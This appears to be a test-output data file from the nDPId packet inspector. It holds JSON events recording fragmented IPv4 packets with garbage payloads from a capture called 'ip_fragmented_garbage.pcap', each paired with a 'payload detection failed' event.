+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302273,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302300,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302312,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302325,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302338,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302350,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302363,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302375,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302388,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302400,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302416,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302429,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302453,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302473,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302486,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302498,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302513,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302525,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302538,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302550,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302564,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302577,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":302589,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAjxNTkJIR0ZE"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1534244032602,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":17751,"dst_port":9024,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602706,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQCqQAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602745,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602758,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602769,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602780,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602791,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602801,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602812,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602852,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602864,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602884,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602896,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602924,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602937,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":602950,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 